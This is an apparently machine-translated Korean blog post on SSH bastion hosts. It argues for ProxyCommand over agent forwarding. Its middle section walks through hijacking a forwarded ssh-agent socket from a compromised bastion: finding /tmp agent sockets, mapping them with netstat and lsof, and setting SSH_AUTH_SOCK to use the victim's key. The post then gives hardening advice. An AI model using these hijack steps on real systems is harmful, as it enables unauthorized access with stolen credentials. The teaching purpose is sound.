ProxyJump에 대한 답변을 보았습니다. ProxyCommand 에 대해 이야기합시다 .
그러나 기다려라! 에이전트 전달을 사용 하는 서버를 해킹하는 방법을 알려 주면 차이점을 이해하기가 훨씬 쉬워집니다!
해킹하자!
기본 단계 : 여기 내 게시물을 읽을 수 있습니다
기본 단계는 다음과 같습니다.
- 요새 사용자 만들기
- 루트 로그인 비활성화
- 해킹 시도 차단
- 포트 변경
- 방화벽 구성
- SELinux 구성
AgentForwarding 사용 방법
~ / .ssh / config에서 구성 만들기
Host bast
Hostname BASTION_IP
ForwardAgent yes
User bastion
ssh-agent에 인증 키 추가
ssh-add ~/.ssh/name_rsa
요새 호스에 연결
ssh bast
요새에서 응용 프로그램 서버 연결
ssh app@IP -p PORT
해킹!
당신은 나에게 질문을 할 수 있습니다.
요새 호스트가 손상된 경우 서버를 해킹하는 방법은 무엇입니까?
대상 추적
/ tmp 디렉토리에는 다음과 같은 내용이 표시 될 수 있습니다.
[root@localhost tmp]# ll
total 12
drwx------ 2 bastion bastion 4096 Sep 7 17:35 ssh-mKX88v0Vlo
임시 파일을 열어 봅시다
[root@localhost tmp]# cd ssh-mKX88v0Vlo/
[root@localhost ssh-mKX88v0Vlo]# ll
total 0
srwxr-xr-x 1 bastion bastion 0 Sep 7 17:35 agent.10507
이 프로세스 ID에 대한 연결 을 보자 .
netstat -nxp | grep 10507
결과:
unix [ ] STREAM CONNECTED 501384 10507/sshd: bastion
과 사람을 연결되어 있습니까?
lsof -i -a -p 10507
결과:
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
sshd 10507 bastion 3u IPv4 501301 0t0 TCP *IP*:ssh->*IP*:8279 (ESTABLISHED)
소켓 파일도 볼 수 있습니다 :
cd /proc/10507/fd/
ls
결과:
lrwx------ 1 root root 64 Sep 7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep 7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep 7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep 7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep 7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep 7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep 7 17:46 9 -> socket:[502080]
그리고 무슨 일이 클라이언트 때 연결됩니다 원격 서버에? 보자 :
lrwx------ 1 root root 64 Sep 7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:48 11 -> socket:[502267]
lrwx------ 1 root root 64 Sep 7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep 7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep 7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep 7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep 7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep 7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep 7 17:46 9 -> socket:[502080]
netstat를 사용하여 소켓 파일이 사용되는지 확인할 수도 있습니다.
unix 3 [ ] STREAM CONNECTED 502267 10561/sshd:
bastion /tmp/ssh-oVoMXC6vb8/agent.10561
unix 3 [ ] STREAM CONNECTED 502072 10561/sshd: bastion
소켓 정보 및 IP 주소 도용
이제 요새 호스트 세션이 열려있는 동안 소켓 정보를 훔쳐 야합니다 . 또한 대상 서버 IP 도 필요 하므로 netstat를 사용하십시오.
netstat -tn
마지막 단계 사용하는 전달 된 소켓 파일을
eval "$(ssh-agent -s)"
SSH_AUTH_SOCK=/tmp/ssh-EAKxOdL4fl/agent.10507
키가로드되어 있는지 확인하십시오 .
ssh-add -l
결과는 다음 과 같아야합니다 .
2048 SHA256:2Psdl..B5KQ /home/usr/.ssh/name_rsa (RSA)
서버가 해킹당했습니다. 보안 문제를 해결하는 방법은 무엇입니까?
프록시 명령
Host app
Hostname *.*.*.*
IdentityFile ~/.ssh/your_rsa
User *******
Port ****
ProxyCommand ssh -W %h:%p bast
Host bast
Hostname *.*.*.*
ForwardAgent no
User ******
기본 작업 : 서버를 통해 파일을 전송하는 방법 (클라이언트에서 서버로, 서버에서 클라이언트로), 내 게시물을 읽을 수 있습니다.
결론
- 요새 호스트를 사용하는 경우 AgentForwarding을 사용하지 말고 ProxyCommand를 사용하십시오.
- 인증을 위해 항상 루트가 아닌 사용자를 사용하십시오.
- 방화벽을 사용하고 불필요한 모든 연결을 차단하십시오.
- SELinux 사용 (일반)
- 잘못된 자격 증명으로 여러 번 로그인을 시도하는 IP 주소 차단
- 필요하지 않은 경우 사용자에게 sudo 권한을 부여하지 마십시오
- 서버 모니터링
- 보안 패치를 위해 서버 업데이트
자세한 내용은 내 블로그를 참조하십시오 . 또한 나는 약간의 screeenshots를 가지고 있으므로 도움이 될 수 있습니다.